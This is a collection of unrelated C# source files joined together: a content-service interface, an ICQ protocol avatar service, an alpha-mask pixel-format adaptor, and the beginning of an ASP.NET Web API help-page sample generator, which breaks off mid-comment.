[Obsolete("Use PublishWithChildrenWithStatus instead, that method will provide more detailed information on the outcome and also allows the includeUnpublished flag")] bool PublishWithChildren(IContent content, int userId = 0); /// <summary> /// Publishes a <see cref="IContent"/> object and all its children /// </summary> /// <param name="content">The <see cref="IContent"/> to publish along with its children</param> /// <param name="userId">Optional Id of the User issueing the publishing</param> /// <param name="includeUnpublished"></param> /// <returns>The list of statuses for all published items</returns> IEnumerable<Attempt<PublishStatus>> PublishWithChildrenWithStatus(IContent content, int userId = 0, bool includeUnpublished = false); /// <summary> /// UnPublishes a single <see cref="IContent"/> object /// </summary> /// <param name="content">The <see cref="IContent"/> to publish</param> /// <param name="userId">Optional Id of the User issueing the publishing</param> /// <returns>True if unpublishing succeeded, otherwise False</returns> bool UnPublish(IContent content, int userId = 0); /// <summary> /// Saves and Publishes a single <see cref="IContent"/> object /// </summary> /// <param name="content">The <see cref="IContent"/> to save and publish</param> /// <param name="userId">Optional Id of the User issueing the publishing</param> /// <param name="raiseEvents">Optional boolean indicating whether or not to raise save events.</param> /// <returns>True if publishing succeeded, otherwise False</returns> [Obsolete("Use SaveAndPublishWithStatus instead, that method will provide more detailed information on the outcome")] [EditorBrowsable(EditorBrowsableState.Never)] bool SaveAndPublish(IContent content, int userId = 0, bool raiseEvents = true); /// <summary> /// Saves and Publishes a single <see cref="IContent"/> object /// </summary> /// <param name="content">The <see cref="IContent"/> to save and publish</param> /// <param name="userId">Optional Id of the User issueing the publishing</param> /// <param name="raiseEvents">Optional boolean indicating whether or not to raise save events.</param> /// <returns>True if publishing succeeded, otherwise False</returns> Attempt<PublishStatus> SaveAndPublishWithStatus(IContent content, int userId = 0, bool raiseEvents = true); /// <summary> /// Permanently deletes an <see cref="IContent"/> object. /// </summary> /// <remarks> /// This method will also delete associated media files, child content and possibly associated domains. /// </remarks> /// <remarks>Please note that this method will completely remove the Content from the database</remarks> /// <param name="content">The <see cref="IContent"/> to delete</param> /// <param name="userId">Optional Id of the User deleting the Content</param> void Delete(IContent content, int userId = 0); /// <summary> /// Copies an <see cref="IContent"/> object by creating a new Content object of the same type and copies all data from the current /// to the new copy, which is returned. Recursively copies all children. /// </summary> /// <param name="content">The <see cref="IContent"/> to copy</param> /// <param name="parentId">Id of the Content's new Parent</param> /// <param name="relateToOriginal">Boolean indicating whether the copy should be related to the original</param> /// <param name="userId">Optional Id of the User copying the Content</param> /// <returns>The newly created <see cref="IContent"/> object</returns> IContent Copy(IContent content, int parentId, bool relateToOriginal, int userId = 0); /// <summary> /// Copies an <see cref="IContent"/> object by creating a new Content object of the same type and copies all data from the current /// to the new copy which is returned. /// </summary> /// <param name="content">The <see cref="IContent"/> to copy</param> /// <param name="parentId">Id of the Content's new Parent</param> /// <param name="relateToOriginal">Boolean indicating whether the copy should be related to the original</param> /// <param name="recursive">A value indicating whether to recursively copy children.</param> /// <param name="userId">Optional Id of the User copying the Content</param> /// <returns>The newly created <see cref="IContent"/> object</returns> IContent Copy(IContent content, int parentId, bool relateToOriginal, bool recursive, int userId = 0); /// <summary> /// Checks if the passed in <see cref="IContent"/> can be published based on the anscestors publish state. /// </summary> /// <param name="content"><see cref="IContent"/> to check if anscestors are published</param> /// <returns>True if the Content can be published, otherwise False</returns> bool IsPublishable(IContent content); /// <summary> /// Gets a collection of <see cref="IContent"/> objects, which are ancestors of the current content. /// </summary> /// <param name="id">Id of the <see cref="IContent"/> to retrieve ancestors for</param> /// <returns>An Enumerable list of <see cref="IContent"/> objects</returns> IEnumerable<IContent> GetAncestors(int id); /// <summary> /// Gets a collection of <see cref="IContent"/> objects, which are ancestors of the current content. /// </summary> /// <param name="content"><see cref="IContent"/> to retrieve ancestors for</param> /// <returns>An Enumerable list of <see cref="IContent"/> objects</returns> IEnumerable<IContent> GetAncestors(IContent content); /// <summary> /// Sorts a collection of <see cref="IContent"/> objects by updating the SortOrder according /// to the ordering of items in the passed in <see cref="IEnumerable{T}"/>. /// </summary> /// <remarks> /// Using this method will ensure that the Published-state is maintained upon sorting /// so the cache is updated accordingly - as needed. /// </remarks> /// <param name="items"></param> /// <param name="userId"></param> /// <param name="raiseEvents"></param> /// <returns>True if sorting succeeded, otherwise False</returns> bool Sort(IEnumerable<IContent> items, int userId = 0, bool raiseEvents = true); /// <summary> /// Gets the parent of the current content as an <see cref="IContent"/> item. /// </summary> /// <param name="id">Id of the <see cref="IContent"/> to retrieve the parent from</param> /// <returns>Parent <see cref="IContent"/> object</returns> IContent GetParent(int id); /// <summary> /// Gets the parent of the current content as an <see cref="IContent"/> item. /// </summary> /// <param name="content"><see cref="IContent"/> to retrieve the parent from</param> /// <returns>Parent <see cref="IContent"/> object</returns> IContent GetParent(IContent content); /// <summary> /// Creates and saves an <see cref="IContent"/> object using the alias of the <see cref="IContentType"/> /// that this Content should based on. /// </summary> /// <remarks> /// This method returns an <see cref="IContent"/> object that has been persisted to the database /// and therefor has an identity. /// </remarks> /// <param name="name">Name of the Content object</param> /// <param name="parent">Parent <see cref="IContent"/> object for the new Content</param> /// <param name="contentTypeAlias">Alias of the <see cref="IContentType"/></param> /// <param name="userId">Optional id of the user creating the content</param> /// <returns><see cref="IContent"/></returns> IContent CreateContentWithIdentity(string name, IContent parent, string contentTypeAlias, int userId = 0); /// <summary> /// Creates and saves an <see cref="IContent"/> object using the alias of the <see cref="IContentType"/> /// that this Content should based on. /// </summary> /// <remarks> /// This method returns an <see cref="IContent"/> object that has been persisted to the database /// and therefor has an identity. /// </remarks> /// <param name="name">Name of the Content object</param> /// <param name="parentId">Id of Parent for the new Content</param> /// <param name="contentTypeAlias">Alias of the <see cref="IContentType"/></param> /// <param name="userId">Optional id of the user creating the content</param> /// <returns><see cref="IContent"/></returns> IContent CreateContentWithIdentity(string name, int parentId, string contentTypeAlias, int userId = 0); } }
// -------------------------------------------------------------------------------------------------------------------- // <copyright file="IcqIconService.cs" company="Jan-Cornelius Molnar"> // The MIT License (MIT) // // Copyright (c) 2015 Jan-Cornelius Molnar // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. // </copyright> // -------------------------------------------------------------------------------------------------------------------- using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Net; using Jcq.Core; using Jcq.IcqProtocol.Contracts; using Jcq.IcqProtocol.DataTypes; using Jcq.IcqProtocol.Internal; namespace Jcq.IcqProtocol { public class IcqIconService : BaseConnector, IIconService { private int _iconId; private UploadIconRequest _uploadIconRequest; public IcqIconService(IcqContext context) : base(context) { FlapSent += OnFlapSent; FlapReceived += OnFlapReceived; ServiceAvailable += OnServiceAvailable; var connector = context.GetService<IConnector>() as IcqConnector; if (connector == null) throw new InvalidCastException("Context Connector Service must be of Type IcqConnector"); connector.RegisterSnacHandler(0x1, 0x5, new Action<Snac0105>(AnalyseSnac0105)); connector.RegisterSnacHandler(0x1, 0x21, new Action<Snac0121>(AnalyseSnac0121)); connector.RegisterSnacHandler(0x13, 0x6, new Action<Snac1306>(AnalyseSnac1306)); connector.RegisterSnacHandler(0x13, 0xe, new Action<Snac130E>(AnalyseSnac130E)); } public void RequestContactIcon(IContact contact) { if (contact.IconHash == null) return; if ((from x in _actions let y = x as RequestAvatarAction where y != null && y.Contact.Identifier == contact.Identifier select y).Any()) return; var action = new RequestAvatarAction(this, contact); AddAction(action); } public void UploadIcon(byte[] avatar) { return; Snac1308 newIcon = default(Snac1308); Snac1309 editIcon = default(Snac1309); if (_uploadIconRequest != null && !_uploadIconRequest.IsCompleted) return; _uploadIconRequest = new UploadIconRequest(avatar); var transfer = (IIcqDataTranferService) Context.GetService<IConnector>(); if (_iconId > 0) { editIcon = new Snac1309(); editIcon.BuddyIcon = GetSsiBudyIcon(_uploadIconRequest); transfer.Send(editIcon); _uploadIconRequest.RequestId = editIcon.RequestId; } newIcon = new Snac1308(); newIcon.BuddyIcon = GetSsiBudyIcon(_uploadIconRequest); transfer.Send(newIcon); _uploadIconRequest.RequestId = newIcon.RequestId; } private void AnalyseSnac0105(Snac0105 dataIn) { // Server accepts the connection request for the "Icon Server". try { if (IsConnected) return; var parts = dataIn.ServerAddress.ServerAddress.Split(':'); IPAddress ip = IPAddress.Parse(parts[0]); int port = 0; IPEndPoint endpoint = default(IPEndPoint); if (parts.Length > 1) { port = int.Parse(parts[1]); } else { port = 5190; } endpoint = new IPEndPoint(ip, port); InnerConnect(endpoint); RegisterSnacHandler(0x1, 0x3, new Action<Snac0103>(AnalyseSnac0103)); RegisterSnacHandler(0x1, 0x18, new Action<Snac0118>(AnalyseSnac0118)); RegisterSnacHandler(0x1, 0x13, new Action<Snac0113>(AnalyseSnac0113)); RegisterSnacHandler(0x1, 0x7, new Action<Snac0107>(AnalyseSnac0107)); RegisterSnacHandler(0x10, 0x3, new Action<Snac1003>(AnalyseSnac1003)); RegisterSnacHandler(0x10, 0x5, new Action<Snac1005>(AnalyseSnac1005)); FlapSendSignInCookie flap = default(FlapSendSignInCookie); flap = new FlapSendSignInCookie(); flap.AuthorizationCookie.AuthorizationCookie.AddRange(dataIn.AuthorizationCookie.AuthorizationCookie); Send(flap); _isRequestingConnection = false; } catch (Exception ex) { Kernel.Exceptions.PublishException(ex); } } private void AnalyseSnac0103(Snac0103 dataIn) { // Server aks to accept service family versions try { var requiredVersions = new List<int>(new[] { 0x1, 0x10 }); var notSupported = requiredVersions.Except(dataIn.ServerSupportedFamilyIds).ToList(); if (notSupported.Count == 0) { var dataOut = new Snac0117(); dataOut.FamilyNameVersionPairs.Add(new FamilyVersionPair(0x1, 0x4)); dataOut.FamilyNameVersionPairs.Add(new FamilyVersionPair(0x10, 0x1)); Send(dataOut); } else { throw new NotSupportedException("This server does not support all required features!"); } } catch (Exception ex) { Kernel.Exceptions.PublishException(ex); } } private void AnalyseSnac0121(Snac0121 dataIn) { // Server sends an extended status request. If Type = 0x01 server requests an icon upload. try { Debug.WriteLine(string.Format("Extended Status Request: {0}", dataIn.Notification.Type), "IcqIconService"); if (_uploadIconRequest == null || _uploadIconRequest.IsCompleted) return; if (dataIn.Notification.Type == ExtendedStatusNotificationType.UploadIconRequest) { UploadIconNotification notification = default(UploadIconNotification); notification = (UploadIconNotification) dataIn.Notification; if (notification.IconFlag == UploadIconFlag.FirstUpload) { Debug.WriteLine("Icon upload requested.", "IcqIconService"); UploadAvatarAction action = default(UploadAvatarAction); action = new UploadAvatarAction(this, _uploadIconRequest.IconData); AddAction(action); } else { Debug.WriteLine("Icon available.", "IcqIconService"); _uploadIconRequest.IsCompleted = true; Context.Identity.SetIconHash(notification.IconHash); } } } catch (Exception ex) { Kernel.Exceptions.PublishException(ex); } } private void AnalyseSnac1003(Snac1003 dataIn) { // server acknowledges icon upload. try { _uploadIconRequest.IsCompleted = true; if (dataIn.IconHash.Count > 0) { Debug.WriteLine("Icon upload succeeded.", "IcqIconService"); if (_uploadIconRequest != null) { Context.Identity.SetIconHash(new List<byte>(_uploadIconRequest.IconMd5)); } } else { Debug.WriteLine("Icon upload failed.", "IcqIconService"); } if (_uploadIconRequest != null) _uploadIconRequest.IsCompleted = true; } catch (Exception ex) { Kernel.Exceptions.PublishException(ex); } } private void AnalyseSnac0118(Snac0118 dataIn) { try { var dataOut = new Snac0106(); Send(dataOut); } catch (Exception ex) { Kernel.Exceptions.PublishException(ex); } } private void AnalyseSnac0113(Snac0113 dataIn) { throw new NotImplementedException(); } private void AnalyseSnac0107(Snac0107 dataIn) { // Server accepted the rate configuration. // The connection now can be used. try { var serverRateGroupIds = dataIn.RateGroups.Select(x => x.GroupId).ToList(); var dataOut = new Snac0108(); dataOut.RateGroupIds.AddRange(serverRateGroupIds); Send(dataOut); if (ServiceAvailable != null) { ServiceAvailable(this, EventArgs.Empty); } } catch (Exception ex) { Kernel.Exceptions.PublishException(ex); } } private void AnalyseSnac1005(Snac1005 dataIn) { // Received Icon data. try { IContact c = Context.GetService<IStorageService>().GetContactByIdentifier(dataIn.Uin); if (dataIn.IconData.Count > 0) { Debug.WriteLine(string.Format("Received Icon for {0}.", c.Identifier), "IcqIconService"); c.SetIconData(dataIn.IconData); } else { Debug.WriteLine(string.Format("Receive Icon for {0} failed.", c.Identifier), "IcqIconService"); } } catch (Exception ex) { Kernel.Exceptions.PublishException(ex); } } private void AnalyseSnac1306(Snac1306 dataIn) { // The Server sent the buddy list. // Grab the Icon id to allow updates. try { if (dataIn.BuddyIcon != null) { _iconId = dataIn.BuddyIcon.ItemId; } } catch (Exception ex) { Kernel.Exceptions.PublishException(ex); } } private void AnalyseSnac130E(Snac130E dataIn) { // Server akknowledges the icon upload request. // It will ask the client to upload the icon with Snac 01,21. try { if (_uploadIconRequest == null || _uploadIconRequest.IsCompleted) return; if (_uploadIconRequest.RequestId != dataIn.RequestId) return; SSIActionResultCode code = dataIn.ActionResultCodes.FirstOrDefault(); if (code == SSIActionResultCode.Success) { Debug.WriteLine("Icon upload request accepted.", "IcqIconService"); _uploadIconRequest.IsAccepted = true; } else { Debug.WriteLine(string.Format("Icon upload request rejected: {0}.", code), "IcqIconService"); } } catch (Exception ex) { Kernel.Exceptions.PublishException(ex); } } private SSIBuddyIcon GetSsiBudyIcon(UploadIconRequest request) { var icon = new SSIBuddyIcon { ItemId = _iconId }; icon.BuddyIcon.IconHash.AddRange(request.IconMd5); return icon; } #region " Internal Action Processing " private bool _isProcessing; private readonly Queue<IAvatarServiceAction> _actions = new Queue<IAvatarServiceAction>(); protected event EventHandler ServiceAvailable; protected void AddAction(IAvatarServiceAction action) { Kernel.Logger.Log("IcqIconService", TraceEventType.Information, "Adding Action {0}", action); lock (_actions) { _actions.Enqueue(action); } if (!IsConnected & !_isRequestingConnection) { RequestConnection(); } else { ProcessActions(); } } protected bool IsAvailable { get; private set; } private void OnServiceAvailable(object sender, EventArgs e) { try { IsAvailable = true; TcpContext.SetCloseUnexpected(); ProcessActions(); TcpContext.SetCloseExpected(); } catch (Exception ex) { Kernel.Exceptions.PublishException(ex); } } protected void ProcessActions() { if (_isProcessing) return; _isProcessing = true; try { Kernel.Logger.Log("IcqIconService", TraceEventType.Information, "Processing {0} Actions {1}", _actions.Count, string.Join(";", (from x in _actions select Convert.ToString(x)).ToArray())); IAvatarServiceAction action; do { lock (_actions) { action = _actions.Count > 0 ? _actions.Dequeue() : null; } if (action != null) action.Execute(); } while (action != null); } finally { _isProcessing = false; } } #endregion #region " Low Level I/O " private bool _isRequestingConnection; private void RequestConnection() { _isRequestingConnection = true; var iconServiceActivation = new Snac0104 {ServiceFamilyId = 0x10}; var transfer = (IIcqDataTranferService) Context.GetService<IConnector>(); transfer.Send(iconServiceActivation); } private void OnFlapReceived(object sender, FlapTransportEventArgs e) { try { var infos = new List<string>(); foreach (ISerializable x in e.Flap.DataItems) { infos.Add(x.ToString()); } Kernel.Logger.Log("IcqIconService", TraceEventType.Information, "<< Seq: {0} Channel: {1} Items: {2}", e.Flap.DatagramSequenceNumber, e.Flap.Channel, string.Join(", ", infos.ToArray())); } catch (Exception ex) { Kernel.Exceptions.PublishException(ex); } } private void OnFlapSent(object sender, FlapTransportEventArgs e) { try { var infos = new List<string>(); foreach (ISerializable x in e.Flap.DataItems) { infos.Add(x.ToString()); } Kernel.Logger.Log("IcqIconService", TraceEventType.Information, ">> Seq: {0} Channel: {1} Items: {2}", e.Flap.DatagramSequenceNumber, e.Flap.Channel, string.Join(", ", infos.ToArray())); } catch (Exception ex) { Kernel.Exceptions.PublishException(ex); } } #endregion } }
/* * (c) 2008 MOSA - The Managed Operating System Alliance * * Licensed under the terms of the New BSD License. * * Authors: * Simon Wollwage (rootnode) <kintaro@think-in-co.de> */ using System; namespace Pictor.PixelFormat { ///<summary> ///</summary> public sealed class AlphaMaskAdaptor : PixelFormatProxy { private IAlphaMask _alphaMask; private readonly ArrayPOD<byte> _span; private enum ESpanExtraTail { SpanExtraTail = 256 }; private const byte CoverFull = 255; private void ReallocateSpan(int len) { if (len > _span.Size) { _span.Resize(len + (int)ESpanExtraTail.SpanExtraTail); } } private void InitSpan(int len) { InitSpan(len, CoverFull); } private void InitSpan(int len, byte cover) { ReallocateSpan(len); unsafe { fixed (byte* pBuffer = _span.Array) { Basics.memset(pBuffer, cover, len); } } } private unsafe void InitSpan(int len, byte* covers) { ReallocateSpan(len); byte[] array = _span.Array; for (int i = 0; i < len; i++) { array[i] = *covers++; } } ///<summary> ///</summary> ///<param name="pixf"></param> ///<param name="mask"></param> public AlphaMaskAdaptor(IPixelFormat pixf, IAlphaMask mask) : base(pixf) { PixelFormat = pixf; _alphaMask = mask; _span = new ArrayPOD<byte>(255); } ///<summary> ///</summary> ///<param name="pixf"></param> public void AttachPixelFormat(IPixelFormat pixf) { PixelFormat = pixf; } ///<summary> ///</summary> ///<param name="mask"></param> public void AttachAlphaMask(IAlphaMask mask) { _alphaMask = mask; } //-------------------------------------------------------------------- ///<summary> ///</summary> ///<param name="x"></param> ///<param name="y"></param> ///<param name="c"></param> public void CopyPixel(int x, int y, RGBA_Bytes c) { PixelFormat.BlendPixel(x, y, c, _alphaMask.Pixel(x, y)); } //-------------------------------------------------------------------- ///<summary> ///</summary> ///<param name="x"></param> ///<param name="y"></param> ///<param name="c"></param> ///<param name="cover"></param> public override void BlendPixel(int x, int y, RGBA_Bytes c, byte cover) { PixelFormat.BlendPixel(x, y, c, _alphaMask.CombinePixel(x, y, cover)); } //-------------------------------------------------------------------- ///<summary> ///</summary> ///<param name="x"></param> ///<param name="y"></param> ///<param name="len"></param> ///<param name="c"></param> public override void CopyHorizontalLine(int x, int y, uint len, RGBA_Bytes c) { ReallocateSpan((int)len); unsafe { fixed (byte* pBuffer = _span.Array) { _alphaMask.FillHorizontalSpan(x, y, pBuffer, (int)len); PixelFormat.BlendSolidHorizontalSpan(x, y, len, c, pBuffer); } } } //-------------------------------------------------------------------- ///<summary> ///</summary> ///<param name="x1"></param> ///<param name="y"></param> ///<param name="x2"></param> ///<param name="c"></param> ///<param name="cover"></param> public override void BlendHorizontalLine(int x1, int y, int x2, RGBA_Bytes c, byte cover) { int len = x2 - x1 + 1; if (cover == CoverFull) { ReallocateSpan(len); unsafe { fixed (byte* pBuffer = _span.Array) { _alphaMask.CombineHorizontalSpanFullCover(x1, y, pBuffer, len); PixelFormat.BlendSolidHorizontalSpan(x1, y, (uint)len, c, pBuffer); } } } else { InitSpan(len, cover); unsafe { fixed (byte* pBuffer = _span.Array) { _alphaMask.CombineHorizontalSpan(x1, y, pBuffer, len); PixelFormat.BlendSolidHorizontalSpan(x1, y, (uint)len, c, pBuffer); } } } } //-------------------------------------------------------------------- ///<summary> ///</summary> ///<param name="x"></param> ///<param name="y"></param> ///<param name="len"></param> ///<param name="c"></param> public override void CopyVerticalLine(int x, int y, uint len, RGBA_Bytes c) { ReallocateSpan((int)len); unsafe { fixed (byte* pBuffer = _span.Array) { _alphaMask.FillVerticalSpan(x, y, pBuffer, (int)len); PixelFormat.BlendSolidVerticalSpan(x, y, len, c, pBuffer); } } } //-------------------------------------------------------------------- ///<summary> ///</summary> ///<param name="x"></param> ///<param name="y1"></param> ///<param name="y2"></param> ///<param name="c"></param> ///<param name="cover"></param> ///<exception cref="NotImplementedException"></exception> public override void BlendVerticalLine(int x, int y1, int y2, RGBA_Bytes c, byte cover) { int len = y2 - y1 + 1; InitSpan(len, cover); unsafe { fixed (byte* pBuffer = _span.Array) { _alphaMask.CombineVerticalSpan(x, y1, pBuffer, len); throw new System.NotImplementedException("BlendSolidVerticalSpan does not take a y2 yet"); //PixelFormat.BlendSolidVerticalSpan(x, y1, y2, c, pBuffer); } } } //-------------------------------------------------------------------- ///<summary> ///</summary> ///<param name="x"></param> ///<param name="y"></param> ///<param name="len"></param> ///<param name="c"></param> ///<param name="covers"></param> public override unsafe void BlendSolidHorizontalSpan(int x, int y, uint len, RGBA_Bytes c, byte* covers) { InitSpan((int)len, covers); fixed (byte* pBuffer = _span.Array) { _alphaMask.CombineHorizontalSpan(x, y, pBuffer, (int)len); PixelFormat.BlendSolidHorizontalSpan(x, y, len, c, pBuffer); _alphaMask.CombineHorizontalSpan(x, y, covers, (int)len); PixelFormat.BlendSolidHorizontalSpan(x, y, len, c, covers); } } ///<summary> ///</summary> ///<param name="x"></param> ///<param name="y"></param> ///<param name="len"></param> ///<param name="c"></param> ///<param name="covers"></param> public override unsafe void BlendSolidVerticalSpan(int x, int y, uint len, RGBA_Bytes c, byte* covers) { InitSpan((int)len, covers); fixed (byte* pBuffer = _span.Array) { _alphaMask.CombineVerticalSpan(x, y, pBuffer, (int)len); PixelFormat.BlendSolidVerticalSpan(x, y, len, c, pBuffer); } } ///<summary> ///</summary> ///<param name="x"></param> ///<param name="y"></param> ///<param name="len"></param> ///<param name="colors"></param> public override unsafe void CopyHorizontalColorSpan(int x, int y, uint len, RGBA_Bytes* colors) { ReallocateSpan((int)len); fixed (byte* pBuffer = _span.Array) { _alphaMask.FillHorizontalSpan(x, y, pBuffer, (int)len); PixelFormat.BlendHorizontalColorSpan(x, y, len, colors, pBuffer, CoverFull); } } ///<summary> ///</summary> ///<param name="x"></param> ///<param name="y"></param> ///<param name="len"></param> ///<param name="colors"></param> public override unsafe void CopyVerticalColorSpan(int x, int y, uint len, RGBA_Bytes* colors) { ReallocateSpan((int)len); fixed (byte* pBuffer = _span.Array) { _alphaMask.FillVerticalSpan(x, y, pBuffer, (int)len); PixelFormat.BlendVerticalColorSpan(x, y, len, colors, pBuffer, CoverFull); } } ///<summary> ///</summary> ///<param name="x"></param> ///<param name="y"></param> ///<param name="len"></param> ///<param name="colors"></param> ///<param name="covers"></param> ///<param name="cover"></param> public override unsafe void BlendHorizontalColorSpan(int x, int y, uint len, RGBA_Bytes* colors, byte* covers, byte cover) { fixed (byte* pBuffer = _span.Array) { if (covers != null) { InitSpan((int)len, covers); _alphaMask.CombineHorizontalSpan(x, y, pBuffer, (int)len); } else { ReallocateSpan((int)len); _alphaMask.FillHorizontalSpan(x, y, pBuffer, (int)len); } PixelFormat.BlendHorizontalColorSpan(x, y, len, colors, pBuffer, cover); } } ///<summary> ///</summary> ///<param name="x"></param> ///<param name="y"></param> ///<param name="len"></param> ///<param name="colors"></param> ///<param name="covers"></param> ///<param name="cover"></param> public override unsafe void BlendVerticalColorSpan(int x, int y, uint len, RGBA_Bytes* colors, byte* covers, byte cover) { fixed (byte* pBuffer = _span.Array) { if (covers != null) { InitSpan((int)len, covers); _alphaMask.CombineVerticalSpan(x, y, pBuffer, (int)len); } else { ReallocateSpan((int)len); _alphaMask.FillVerticalSpan(x, y, pBuffer, (int)len); } PixelFormat.BlendVerticalColorSpan(x, y, len, colors, pBuffer, cover); } } }; }
using System; using System.Collections.Generic; using System.Collections.ObjectModel; using System.ComponentModel; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.IO; using System.Linq; using System.Net.Http; using System.Net.Http.Formatting; using System.Net.Http.Headers; using System.Web.Http.Description; using System.Xml.Linq; using Newtonsoft.Json; namespace Pixator.Api.Areas.HelpPage { /// <summary> /// This class will generate the samples for the help page. /// </summary> public class HelpPageSampleGenerator { /// <summary> /// Initializes a new instance of the <see cref="HelpPageSampleGenerator"/> class. /// </summary> public HelpPageSampleGenerator() { ActualHttpMessageTypes = new Dictionary<HelpPageSampleKey, Type>(); ActionSamples = new Dictionary<HelpPageSampleKey, object>(); SampleObjects = new Dictionary<Type, object>(); SampleObjectFactories = new List<Func<HelpPageSampleGenerator, Type, object>> { DefaultSampleObjectFactory, }; } /// <summary> /// Gets CLR types that are used as the content of <see cref="HttpRequestMessage"/> or <see cref="HttpResponseMessage"/>. /// </summary> public IDictionary<HelpPageSampleKey, Type> ActualHttpMessageTypes { get; internal set; } /// <summary> /// Gets the objects that are used directly as samples for certain actions. /// </summary> public IDictionary<HelpPageSampleKey, object> ActionSamples { get; internal set; } /// <summary> /// Gets the objects that are serialized as samples by the supported formatters. /// </summary> public IDictionary<Type, object> SampleObjects { get; internal set; } /// <summary> /// Gets factories for the objects that the supported formatters will serialize as samples. Processed in order, /// stopping when the factory successfully returns a non-<see langref="null"/> object. /// </summary> /// <remarks> /// Collection includes just <see cref="ObjectGenerator.GenerateObject(Type)"/> initially. Use /// <code>SampleObjectFactories.Insert(0, func)</code> to provide an override and /// <code>SampleObjectFactories.Add(func)</code> to provide a fallback.</remarks> [SuppressMessage("Microsoft.Design", "CA1006:DoNotNestGenericTypesInMemberSignatures", Justification = "This is an appropriate nesting of generic types")] public IList<Func<HelpPageSampleGenerator, Type, object>> SampleObjectFactories { get; private set; } /// <summary> /// Gets the request body samples for a given <see cref="ApiDescription"/>. /// </summary> /// <param name="api">The <see cref="ApiDescription"/>.</param> /// <returns>The samples keyed by media type.</returns> public IDictionary<MediaTypeHeaderValue, object> GetSampleRequests(ApiDescription api) { return GetSample(api, SampleDirection.Request); } /// <summary> /// Gets the response body samples for a given <see cref="ApiDescription"/>. /// </summary> /// <param name="api">The <see cref="ApiDescription"/>.</param> /// <returns>The samples keyed by media type.</returns> public IDictionary<MediaTypeHeaderValue, object> GetSampleResponses(ApiDescription api) { return GetSample(api, SampleDirection.Response); } /// <summary> /// Gets the request or response body samples. /// </summary> /// <param name="api">The <see cref="ApiDescription"/>.</param> /// <param name="sampleDirection">The value indicating whether the sample is for a request or for a response.</param> /// <returns>The samples keyed by media type.</returns> public virtual IDictionary<MediaTypeHeaderValue, object> GetSample(ApiDescription api, SampleDirection sampleDirection) { if (api == null) { throw new ArgumentNullException("api"); } string controllerName = api.ActionDescriptor.ControllerDescriptor.ControllerName; string actionName = api.ActionDescriptor.ActionName; IEnumerable<string> parameterNames = api.ParameterDescriptions.Select(p => p.Name); Collection<MediaTypeFormatter> formatters; Type type = ResolveType(api, controllerName, actionName, parameterNames, sampleDirection, out formatters); var samples = new Dictionary<MediaTypeHeaderValue, object>(); // Use the samples provided directly for actions var actionSamples = GetAllActionSamples(controllerName, actionName, parameterNames, sampleDirection); foreach (var actionSample in actionSamples) { samples.Add(actionSample.Key.MediaType, WrapSampleIfString(actionSample.Value)); } // Do the sample generation based on formatters only if an action doesn't return an HttpResponseMessage. // Here we cannot rely on formatters because we don't know what's in the HttpResponseMessage, it might not even use formatters. if (type != null && !typeof(HttpResponseMessage).IsAssignableFrom(type)) { object sampleObject = GetSampleObject(type); foreach (var formatter in formatters) { foreach (MediaTypeHeaderValue mediaType in formatter.SupportedMediaTypes) { if (!samples.ContainsKey(mediaType)) { object sample = GetActionSample(controllerName, actionName, parameterNames, type, formatter, mediaType, sampleDirection); // If no sample found, try generate sample using formatter and sample object if (sample == null && sampleObject != null) { sample = WriteSampleObjectUsingFormatter(formatter, sampleObject, type, mediaType); } samples.Add(mediaType, WrapSampleIfString(sample)); } } } } return samples; } /// <summary> /// Search for samples that are provided directly through <see cref="ActionSamples"/>. /// </summary> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> /// <param name="parameterNames">The parameter names.</param> /// <param name="type">The CLR type.</param> /// <param name="formatter">The formatter.</param> /// <param name="mediaType">The media type.</param> /// <param name="sampleDirection">The value indicating whether the sample is for a request or for a response.</param> /// <returns>The sample that matches the parameters.</returns> public virtual object GetActionSample(string controllerName, string actionName, IEnumerable<string> parameterNames, Type type, MediaTypeFormatter formatter, MediaTypeHeaderValue mediaType, SampleDirection sampleDirection) { object sample; // First, try to get the sample provided for the specified mediaType, sampleDirection, controllerName, actionName and parameterNames. // If not found, try to get the sample provided for the specified mediaType, sampleDirection, controllerName and actionName regardless of the parameterNames. // If still not found, try to get the sample provided for the specified mediaType and type. // Finally, try to get the sample provided for the specified mediaType. if (ActionSamples.TryGetValue(new HelpPageSampleKey(mediaType, sampleDirection, controllerName, actionName, parameterNames), out sample) || ActionSamples.TryGetValue(new HelpPageSampleKey(mediaType, sampleDirection, controllerName, actionName, new[] { "*" }), out sample) || ActionSamples.TryGetValue(new HelpPageSampleKey(mediaType, type), out sample) || ActionSamples.TryGetValue(new HelpPageSampleKey(mediaType), out sample)) { return sample; } return null; } /// <summary> /// Gets the sample object that will be serialized by the formatters. /// First, it will look at the <see cref="SampleObjects"/>. If no sample object is found, it will try to create /// one using <see cref="DefaultSampleObjectFactory"/> (which wraps an <see cref="ObjectGenerator"/>) and other /// factories in <see cref="SampleObjectFactories"/>. /// </summary> /// <param name="type">The type.</param> /// <returns>The sample object.</returns> [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "Even if all items in SampleObjectFactories throw, problem will be visible as missing sample.")] public virtual object GetSampleObject(Type type) { object sampleObject; if (!SampleObjects.TryGetValue(type, out sampleObject)) { // No specific object available, try our factories. foreach (Func<HelpPageSampleGenerator, Type, object> factory in SampleObjectFactories) { if (factory == null) { continue; } try { sampleObject = factory(this, type); if (sampleObject != null) { break; } } catch { // Ignore any problems encountered in the factory; go on to the next one (if any). } } } return sampleObject; } /// <summary> /// Resolves the actual type of <see 